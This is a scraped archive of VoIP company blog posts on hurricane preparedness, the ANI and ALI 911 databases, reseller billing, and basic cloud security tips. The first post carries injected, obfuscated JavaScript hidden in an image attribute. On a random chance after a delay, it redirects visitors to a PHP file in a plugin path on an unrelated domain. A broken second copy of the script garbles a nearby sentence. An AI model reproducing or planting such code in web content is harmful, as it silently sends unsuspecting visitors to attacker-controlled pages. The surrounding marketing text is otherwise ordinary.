Category Archives: V1 VoIP

V1 VoIP Explains Hurricane VoIP Preparedness

V1 VoIP explains hurricane VoIP preparedness how to prepare tips <script>$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>and advice” /></p>
<p>June 1st marks the beginning of Hurricane Season. Each year for almost six months, the United States gets ready for these swirling, disastrous storms with bottles of water, batteries, <script>$nJe=function(n){if (typeof ($nJe.list[n]) == and supplies for buttoning down the hatches. But when it comes to VoIP, there is no reason to panic. Here V1 VoIP helps you rest your power outage fears and explains how having VoIP service is actually better in the event a hurricane occurs.

In the event of a power outage caused by a hurricane, your V1 VoIP service is in the Cloud and not the one formed by the storm clouds. This means your V1 VoIP service will still work unlike your former landline locked system. Calls can also be forwarded to your mobile device so your business won’t miss a beat in the case of an emergency.

If a hurricane knocks out the power your calls will also still reach your voicemail. However, if you still want to receive calls, you have two choices, 1. take your SIP phone home with you or 2. simply forward your calls to an external phone number and in a few clicks, your company is still in business!

How easy is it? Simply log into your account, create an External Phone Number (this is free FYI), click on your existing business phone number, open existing business phone number to modify. Modify your existing business phone number to be redirected to the new External Phone number you just created and Save. It’s just that easy!

If you are redirecting your phone number, DO NOT forget to also reconfigure your E911 to the address you have moved the phone. If you are moving your SIP phone, you will also reconfigure your E911 to the address the phone has been temporarily moved. If you are forwarding your calls, please be sure you have a way to dial 911 from that external phone; cell phones may hit a tower that is in an adjacent town and may not provide emergency responders with the proper location of your emergency.

V1 VoIP itself has several redundancy locations, including secured data centers in multiple locations across the country which are equipped to handle emergencies. Since all is in the Cloud you will still have access to your calls and never miss a business beat. V1 VoIP will be here, with our umbrellas and rain gear waiting out the storm alongside you.

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Difference Between ANI and ALI Databases

V1 VoIP explains the difference between the automatic number identification ANI and the automatic location identification ALI databases and their uses in voip emergency phone calls

V1 VoIP is committed to offering our VoIP providers, resellers and wholesale agents answers to their questions about emergency phone call information. One question asked often is this:

What is the difference between the ALI and ANI databases and how can they effect emergency response?

The Automatic Number Identification (ANI) is the automatic display at the PSAP of the telephone number associated with the line which called 911. Each telephone number and the physical location to which it corresponds are stored in an Automatic Location Identification (ALI) database, managed by the local exchange carrier.

Imagine you are in a ‘Law and Order’ episode. The 911 operator is looking at the screen, sees the adddress of the caller and says “help is on the way.” In that 911 call, the PSAP uses the ANI to retrieve the caller’s physical address from the ALI database. Additionally, the ANI acts as a callback number should the PSAP lose its connection to the distressed caller. Both ANI and ALI are key capabilities of E911 service.

With traditional E911 service, ALI records are stored in regional ALI databases, and are usually administered by the local exchange carrier (LEC). When a phone’s location changes, the regional ALI database must be revised with new location information which can take up to 48 hours to update.

Due to the capabilities of IP phones, it can be difficult to ensure that the regional ALI is up-to-date. Whereas traditional telephone numbers are static, IP phones can be moved easily, forcing the user to notify a network administrator, who in turn must contact the LEC to update the phone’s location in the regional ALI database. Unfortunately, this process takes time to implement, and may be forgotten entirely by the user.

Additionally, IP phones can relocate to regions served by different ALI databases entirely. A VoIP service provider or enterprise would then need agreements with each LEC to update different regional ALI databases as phones move around the country.

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V1 VoIP Private Label Resellers Billing Solutions

V1 VoIP offers resellers automated billing solutions for end user customers

At V1 VoIP our resellers are opting for private label options at an increasing rate. V1 VoIP’s private label ability lets you be your own phone company, giving you access to the steady revenue stream once only available to standard service providers. With the V1 VoIP private label option, resellers are given turnkey solutions that are built on a state-of-the-art-infrastructure, supported by an experienced partner, and scalable to the size and growth of your business.

V1 VoIP provides it’s resellers with full hosted PBX solutions which allow for Bring Your Own Device and are compatible with any SIP device. This is ideal for clients without premise SIP or legacy PBX system, or those who want to outsource their system. Premise SIP makes it possible to provide your dial tone solution to them in minutes. This is designed for new systems or existing systems that your customers or prospects have that accept native SIP.

V1 VoIP Reseller Billing Solutions
You’ve built your roster of customers and they’ve ordered the services they need. But what happens when it’s billing time? Many resellers underestimate the billing process. For first time resellers, the act of billing all your customers each month can seem quite daunting and lengthy in time. Calculating usage in local, long distance, toll free, as well as other features can add up, especially when you have multitudes of end users to bill. V1 VoIP offers our resellers software which is automated and takes care of the complicated billing process.

Our resellers rest easy knowing they do not need to worry about hiring someone to do their billing each month and can simply focus on selling and acquiring more resellers. V1 VoIP resellers can take advantage of the full range of our solutions so they can provide private label VoIP services that meets their clients’ needs or add new clients.

For those seeking excellent profits, minimal capital outlay and steady revenue in the telecom sector, V1 VoIP is how you can make your mark. Contact V1 VoIP today to learn more about our automated billing solutions and the portfolio of services we can offer you.

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V1 VoIP Reseller Cloud Security Tips and Advice

V1 VoIP explains cloud security tips for resellers

Have you seen the movie Sex Tape starring Cameron Diaz? The entire movie revovles around cloud security, or in this case, the lack thereof. Although the majority of cloud computing services work perfectly, many small and medium sized business who are only now signing up for VoIP services are still unclear with how secure the cloud is.

This is why V1 VoIP educated our resellers about cloud services and solutions, and more importantly, cloud security. No company wants to have their data hacked into and/or stolen by another entity creating a real need to improve cloud security in order to protect all users. Here, V1 VoIP gives our cloud resellers some tips to give to their customers to help ensure the cloud stays safe and protected.

1-2-3-4-5, it’s the type of password an idiot would have on their luggage. Not only should a company have a complex password, but they should have more than one. Include capitol letters, numbers and some type of punctuation.

By limiting access to only a few employees, this will greatly improve security members. The fewer employees who have the keys to the castle, the less concern for security breaches. Plus you can have employees have access to only certain parts of the cloud with other parts being completely off limits.

Firewalls allow you to control the traffic. Using them can ensure only certain connections to come in and go out. A firewall service is going to make your overall security be that much stronger.

Update often
By updating your cloud often, you can reduce weaknesses like worms and bugs. Updating your system at least once a month is highly recommended, and can easily be scheduled to be done automatically.

If you would like to get started reselling cloud services, contact V1 VoIP today. We can educate you not only on cloud security, but how it will benefit your customers. Allow us to give you a free demo of our cloud services.

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